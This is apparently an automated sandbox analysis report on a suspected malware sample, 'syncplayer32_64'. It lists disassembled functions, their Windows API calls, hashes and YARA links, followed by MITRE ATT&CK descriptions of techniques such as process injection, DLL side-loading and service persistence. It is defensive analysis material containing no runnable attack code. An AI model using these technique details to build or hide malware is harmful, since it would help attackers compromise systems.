Opcode ID: db728298b98a3dab2ecdb4dab480861bd9016d5beafec50a15f5b98851f5bcbc
Instruction ID: 239a81ebb8be825a850bacd412b0a7c79afcc31b03ae4da5e11b51f0f7acaea7
Opcode Fuzzy Hash: db728298b98a3dab2ecdb4dab480861bd9016d5beafec50a15f5b98851f5bcbc
Instruction Fuzzy Hash: E921F3B7600741DFDB20AB64C94476A33A4EB80379F148A3BDB65B26D0C378ED41CB58

Function 02B43D7E Relevance: 6.1, APIs: 4, Instructions: 57networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 02B43DA2

Part of subcall function 02B43BD3: __EH_prolog.LIBCMT ref: 02B43BD8
Part of subcall function 02B43BD3: std::bad_exception::bad_exception.LIBCMT ref: 02B43BED

htonl.WS2_32(00000000), ref: 02B43DB9
htonl.WS2_32(00000000), ref: 02B43DC0
htons.WS2_32(?), ref: 02B43DD4

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: htonlhtons$H_prologstd::bad_exception::bad_exception
String ID:
API String ID: 3882411702-0
Opcode ID: 8ea7c6170d92c7731bc12e25295f2737848f740f2fac9b1ad7ff51a8a3a87931
Instruction ID: f18e2d22a5f40f7813de94a31c434121faabd503cc70d6357777f976481d5a5b
Opcode Fuzzy Hash: 8ea7c6170d92c7731bc12e25295f2737848f740f2fac9b1ad7ff51a8a3a87931
Instruction Fuzzy Hash: FF11CE35A00309EFCF019F64D889AAAB7B9EF09314F108496FC08DF245DA719A54DBA1

Function 02B4239D Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000), ref: 02B423D0
RtlEnterCriticalSection.NTDLL(?), ref: 02B423DE
InterlockedExchange.KERNEL32(?,00000001), ref: 02B42401
RtlLeaveCriticalSection.NTDLL(?), ref: 02B42408

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: 68dac5ca6f9b70f8f847759dfe607798b5a597af2a1bc7a3fe35a8ba719673d1
Instruction ID: 817ab0f47c14d3e087f937528d53a54544df4ac00bc5d2358622ab23e521e52b
Opcode Fuzzy Hash: 68dac5ca6f9b70f8f847759dfe607798b5a597af2a1bc7a3fe35a8ba719673d1
Instruction Fuzzy Hash: 2F11AC32600204AFDB109F60D988B6ABBB9FF40748F1044ADFA019B140DFB5E911EBA0

Function 02B5C83B Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 02B5C85F

Part of subcall function 02B5CF46: __fltout2.LIBCMT ref: 02B5CF6F

__cftog_l.LIBCMT ref: 02B5C885
__cftoe_l.LIBCMT ref: 02B5C8B7

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 12910c4a95fbc2dc4b5e01a77163f2d918c879d918cd5e47aef5987f32eaf5b7
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: C1010B3200025AFBCF166E94DC41AEE3F67BF18354B488596FE2859131D33AD9B5AB81

Function 02B4247D Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02B424A9
RtlEnterCriticalSection.NTDLL(?), ref: 02B424B8
InterlockedExchange.KERNEL32(?,00000001), ref: 02B424CD
RtlLeaveCriticalSection.NTDLL(?), ref: 02B424D4

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: d9aed85eaf2027bd91d8b2d7b90dec93af5a51abf50440353b849e79195137dc
Instruction ID: cb740e09dd64075191cb14800ad27ca3a1421ec14d80ef8aba96c6c468c99fc3
Opcode Fuzzy Hash: d9aed85eaf2027bd91d8b2d7b90dec93af5a51abf50440353b849e79195137dc
Instruction Fuzzy Hash: ACF03172540205AFDB009F55E888F9ABBACFF44754F004455FA04CB141DB75E560DFA0

Function 02B42004 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B42009
RtlDeleteCriticalSection.NTDLL(?), ref: 02B42028
CloseHandle.KERNEL32(00000000), ref: 02B42037
CloseHandle.KERNEL32(00000000), ref: 02B4204E

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: CloseHandle$CriticalDeleteH_prologSection
String ID:
API String ID: 2456309408-0
Opcode ID: ff2704c8c4be2f0fd0535dc3059c8cf70e705d414512ad5a3844486fcd5d311d
Instruction ID: 81e2762ab99e7b4a7e34d1fa6480ce5c0f61dd63877379c17f0775c04e4ac222
Opcode Fuzzy Hash: ff2704c8c4be2f0fd0535dc3059c8cf70e705d414512ad5a3844486fcd5d311d
Instruction Fuzzy Hash: A601AD715006049BC338AF54E94CBAABBF4FF08708F00499EE84682690CF786554EF50

Function 02B41E26 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B41E2B
SetEvent.KERNEL32(00000000), ref: 02B41E3F
SetEvent.KERNEL32(?), ref: 02B41E58
SleepEx.KERNEL32(000000FF,00000001), ref: 02B41E62

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Event$H_prologSleep
String ID:
API String ID: 1765829285-0
Opcode ID: 4d571392253646573e1af0cdc00fa165cf6bcd80bbdef2e0b01009d9039dcc92
Instruction ID: d17724bb696beddf570dc6d8e3f11b502625d876092595d24f9f0950db22c045
Opcode Fuzzy Hash: 4d571392253646573e1af0cdc00fa165cf6bcd80bbdef2e0b01009d9039dcc92
Instruction Fuzzy Hash: 51F05436640110EFCB009F94D8CCB98BBA4FF0D311F5481A9F51ADB2D0CB799954DB61

Function 0040479C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00008000,r@,0040489C,r@,74DEDFF0,?,00000000,?,$.@,0040494E,00000010,00402FE3), ref: 004047AB
HeapFree.KERNEL32(00000000,?), ref: 004047E1

Strings

r@, xrefs: 004047B1, 004047BC
r@, xrefs: 0040479C, 004047C1

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Free$HeapVirtual
String ID: r@$r@
API String ID: 3783212868-1712950306
Opcode ID: 615be266f2133a35edff91ca5e545c140f31fce35e26d2f64644c01e7612d901
Instruction ID: 785cceb230e357052b70e0ceb36fde31882332ccc7842067a6b44a21adfd0248
Opcode Fuzzy Hash: 615be266f2133a35edff91ca5e545c140f31fce35e26d2f64644c01e7612d901
Instruction Fuzzy Hash: 79F01774504210DFC3248F08EE09A427BA0FB48710B11867EF596672E1C371AC40CF48

Function 02B49F55 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B49F5A
_memmove.LIBCMT ref: 02B4A054

Strings

&', xrefs: 02B4A03B

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog_memmove
String ID: &'
API String ID: 3529519853-655172784
Opcode ID: 449f87fb459ef2b73b2d2c480c1b1e30f59792cf7de65f94155fa843e4ac0ffe
Instruction ID: 39b982cd00828a1a4f6fcace0d9a51fb27c77d8a49586491675d7360f33fe948
Opcode Fuzzy Hash: 449f87fb459ef2b73b2d2c480c1b1e30f59792cf7de65f94155fa843e4ac0ffe
Instruction Fuzzy Hash: EB618F71D00219DFDF20EFA4C990AEEFBB6EF48314F14819AD515AB280DB70AA45DF61

Function 00404EFD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00404F11

Strings

, xrefs: 00404F5A
, xrefs: 00404F36

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: ade2e129719512a706aeac876f0a8c01095c6a06ec5d81e25aee3eb1febfb5f9
Instruction ID: dde8e341c4e8bd313249a80e2b686b79912edb193a7f213553748e7c592af8a9
Opcode Fuzzy Hash: ade2e129719512a706aeac876f0a8c01095c6a06ec5d81e25aee3eb1febfb5f9
Instruction Fuzzy Hash: 2C4154310042A85EEB169724DE49FEB3FA8EB02704F1404F6E949F71D2C2794924CFAB

Function 02B4CCAF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4CCB4

Part of subcall function 02B4D290: std::exception::exception.LIBCMT ref: 02B4D2BF

Part of subcall function 02B4DA46: __EH_prolog.LIBCMT ref: 02B4DA4B

Part of subcall function 02B53B4C: _malloc.LIBCMT ref: 02B53B64

Part of subcall function 02B4D2EF: __EH_prolog.LIBCMT ref: 02B4D2F4

Strings

C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 02B4CCF1
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void), xrefs: 02B4CCEA

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void)
API String ID: 1953324306-1943798000
Opcode ID: 6bae757f01e250885709fb745100308da2d2e01981c1dc9f97d7933044efe987
Instruction ID: 68d98e7e54d72f701676e77887791b9d310c442ab142be309b37b3c19d0e8a48
Opcode Fuzzy Hash: 6bae757f01e250885709fb745100308da2d2e01981c1dc9f97d7933044efe987
Instruction Fuzzy Hash: 4F21DD71E002199BDB14EBE8D598BEEFBB5EF54700F0400CEE816AB240DF745A04EB50

Function 02B4534D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02B4535D

Part of subcall function 02B52FAC: __FF_MSGBANNER.LIBCMT ref: 02B52FC3
Part of subcall function 02B52FAC: __NMSG_WRITE.LIBCMT ref: 02B52FCA
Part of subcall function 02B52FAC: RtlAllocateHeap.NTDLL(009E0000,00000000,00000001), ref: 02B52FEF

SHGetSpecialFolderPathA.SHELL32(00000000,00000000,00000023,00000000), ref: 02B4536F

Strings

\save.dat, xrefs: 02B45383

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AllocateFolderHeapPathSpecial_malloc
String ID: \save.dat
API String ID: 4128168839-3580179773
Opcode ID: c5a1e269fda137f90cc8141768f7596128d9f31af5ef75f6f4ff079555fbe8cc
Instruction ID: 4c93083de1bb2e7d15a0ade5e2cad9b111fb2be186b61969096b91a2dd7e91c8
Opcode Fuzzy Hash: c5a1e269fda137f90cc8141768f7596128d9f31af5ef75f6f4ff079555fbe8cc
Instruction Fuzzy Hash: EF117D729042542BDB318E258CC4E6FFF6BDF82698B1441E9EC866B201DBA20D02D7A0

Function 02B43965 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4396A
std::runtime_error::runtime_error.LIBCPMT ref: 02B439C1

Part of subcall function 02B41410: std::exception::exception.LIBCMT ref: 02B41428

Part of subcall function 02B4A61E: __EH_prolog.LIBCMT ref: 02B4A623
Part of subcall function 02B4A61E: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 02B4A632
Part of subcall function 02B4A61E: __CxxThrowException@8.LIBCMT ref: 02B4A651

Strings

Day of month is not valid for year, xrefs: 02B439AC

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Exception@8FromImplThrowstd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month is not valid for year
API String ID: 1404951899-1521898139
Opcode ID: d0dee610ecb187ef4f8bed28eb83f25ce420b6f88c1bd3031e1a46a2a13c7ae8
Instruction ID: b01cdd7b8f49b5ad0183e373c3fea93136609148a2c8cab6ac67184e19dcef6e
Opcode Fuzzy Hash: d0dee610ecb187ef4f8bed28eb83f25ce420b6f88c1bd3031e1a46a2a13c7ae8
Instruction Fuzzy Hash: 0B01D476920209AACF00EFA8C885AFEBB79FF18B10F40409AFC0493240EF744B55DB95

Function 02B4B100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 02B4FB17
__CxxThrowException@8.LIBCMT ref: 02B4FB2C

Part of subcall function 02B53B4C: _malloc.LIBCMT ref: 02B53B64

Strings

bad allocation, xrefs: 02B4FB0C

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: bad allocation
API String ID: 4063778783-2104205924
Opcode ID: 9af7b2d2b8a5ec47839ad1992f21d957904d52a1c2dca9d20e6481d831364603
Instruction ID: 9c55f4103cdedea6b2c2054f0bf81b80daccb22a1b5dc0d3562367a845d30923
Opcode Fuzzy Hash: 9af7b2d2b8a5ec47839ad1992f21d957904d52a1c2dca9d20e6481d831364603
Instruction Fuzzy Hash: 09F0AE70A0031967DF08FA989855ABF73FDDF04714B4005D5ED21E7281EF70E5449595

Function 02B43C16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B43C1B
std::bad_exception::bad_exception.LIBCMT ref: 02B43C30

Part of subcall function 02B524B7: std::exception::exception.LIBCMT ref: 02B524C1

Part of subcall function 02B4A657: __EH_prolog.LIBCMT ref: 02B4A65C
Part of subcall function 02B4A657: __CxxThrowException@8.LIBCMT ref: 02B4A685

Strings

bad cast, xrefs: 02B43C28

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: 6c401912c890b4623843fc7b9cd76005b048c05e151086b19bf76d8e90a1691c
Instruction ID: 7e7e12ffe8aaadb91fc131c9ac6e9eeb2fd2be6227e67b5907e097d0ce45bd6d
Opcode Fuzzy Hash: 6c401912c890b4623843fc7b9cd76005b048c05e151086b19bf76d8e90a1691c
Instruction Fuzzy Hash: 41F055329001088BCB08DF48D444AFBB776FF51310F1000EEEE0A4B200CB728A06CB90

Function 02B43881 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B43886
std::runtime_error::runtime_error.LIBCPMT ref: 02B438A5

Part of subcall function 02B41410: std::exception::exception.LIBCMT ref: 02B41428

Part of subcall function 02B4898C: _memmove.LIBCMT ref: 02B489AC

Strings

Day of month value is out of range 1..31, xrefs: 02B43894

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month value is out of range 1..31
API String ID: 3258419250-1361117730
Opcode ID: 8e26c9fa89e7e97ae0e18f09e78c9850c6f199c2c771597a03435e8e7a5821e0
Instruction ID: aaf43ed192ba1b6cd9ca31828dd98dba3c05d97ebf27ce4aaafa76cc85475e6a
Opcode Fuzzy Hash: 8e26c9fa89e7e97ae0e18f09e78c9850c6f199c2c771597a03435e8e7a5821e0
Instruction Fuzzy Hash: D5E0D872F5011557DB24AF98CC597FDB775DB08B10F4400CAE80663280DEB51954DFD5

Function 02B438CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B438D2
std::runtime_error::runtime_error.LIBCPMT ref: 02B438F1

Part of subcall function 02B41410: std::exception::exception.LIBCMT ref: 02B41428

Part of subcall function 02B4898C: _memmove.LIBCMT ref: 02B489AC

Strings

Year is out of valid range: 1400..10000, xrefs: 02B438E0

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Year is out of valid range: 1400..10000
API String ID: 3258419250-2344417016
Opcode ID: cdb138a3a29c1708b293e7bae71bf8ee5c621e6ef6fb975f4217d439d4e259bf
Instruction ID: 48e6d1b3d20b74e380a40efbee30410671b3624154614eddea1f40bd02b21150
Opcode Fuzzy Hash: cdb138a3a29c1708b293e7bae71bf8ee5c621e6ef6fb975f4217d439d4e259bf
Instruction Fuzzy Hash: 0CE09272B101146BDB24EB98CC597FDB769DB08710F0404CAE90663280DEB91954CB95

Function 02B43919 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B4391E
std::runtime_error::runtime_error.LIBCPMT ref: 02B4393D

Part of subcall function 02B41410: std::exception::exception.LIBCMT ref: 02B41428

Part of subcall function 02B4898C: _memmove.LIBCMT ref: 02B489AC

Strings

Month number is out of range 1..12, xrefs: 02B4392C

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Month number is out of range 1..12
API String ID: 3258419250-4198407886
Opcode ID: 22d962f68175bac52582187aed1e0601ff71e1e492f96efcb5324def07eeb5dd
Instruction ID: 00af075d489ab3636525d218f801af3436f50d3fc8d05309ea644e1b69bfb152
Opcode Fuzzy Hash: 22d962f68175bac52582187aed1e0601ff71e1e492f96efcb5324def07eeb5dd
Instruction Fuzzy Hash: FCE0D872F1011897D724BF98CC597FDB775DB08710F0800CAE80663280DEB51954CBD5

Function 02B419C2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 02B419CC
GetLastError.KERNEL32 ref: 02B419D9

Part of subcall function 02B41712: __EH_prolog.LIBCMT ref: 02B41717

Strings

tss, xrefs: 02B419E8

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: AllocErrorH_prologLast
String ID: tss
API String ID: 249634027-1638339373
Opcode ID: d92687bcbe85268d118b686897ddb015104443de1dc09c631dde73ec39b49f6a
Instruction ID: 31217ec518164fc4524bf824dd537bf451b41551506ec881177e9eda4e751a40
Opcode Fuzzy Hash: d92687bcbe85268d118b686897ddb015104443de1dc09c631dde73ec39b49f6a
Instruction Fuzzy Hash: B9E08632D146145BC2007B78D84C19BFBA4DB45274F108BA7EDBD832D0EE3449509BD2

Function 02B43BD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B43BD8
std::bad_exception::bad_exception.LIBCMT ref: 02B43BED

Part of subcall function 02B524B7: std::exception::exception.LIBCMT ref: 02B524C1

Part of subcall function 02B4A657: __EH_prolog.LIBCMT ref: 02B4A65C
Part of subcall function 02B4A657: __CxxThrowException@8.LIBCMT ref: 02B4A685

Strings

bad cast, xrefs: 02B43BE5

Memory Dump Source

Source File: 00000002.00000002.2901982721.0000000002B41000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B41000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b41000_syncplayer32_64.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: 9709f16ebd21ea2909240850fb28be2b72069ebf352b72a7474c85d266fcc359
Instruction ID: 3093ab785f0c036a363af87d8e3ee417783e02c574c0e2496cf5732ce4e645a8
Opcode Fuzzy Hash: 9709f16ebd21ea2909240850fb28be2b72069ebf352b72a7474c85d266fcc359
Instruction Fuzzy Hash: 0CE09A719001089BC714EF58D555BB9B771EB14300F0080E8AD0A47290CB394916CB81

Function 004044AC Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,00404274,?,?,?,00000100,?,00000000), ref: 004044D4
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,00404274,?,?,?,00000100,?,00000000), ref: 00404508
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,00000000,00404274,?,?,?,00000100,?,00000000), ref: 00404522
HeapFree.KERNEL32(00000000,?,?,00000000,00404274,?,?,?,00000100,?,00000000), ref: 00404539

Memory Dump Source

Source File: 00000002.00000002.2900919351.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2900919351.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_syncplayer32_64.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 03264f3b7f6a3c24648121467edc173d78a87d9b85cb2d8b679f40e74ce8d20c
Instruction ID: ffc993634d3e41a8c2101fd55908ffce7933bfbb75758218401b36e7eb91ee09
Opcode Fuzzy Hash: 03264f3b7f6a3c24648121467edc173d78a87d9b85cb2d8b679f40e74ce8d20c
Instruction Fuzzy Hash: 37112571200301BFC730DF29EE45A627BB5FB847207104A3AF262E65B0D771A965DF19

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
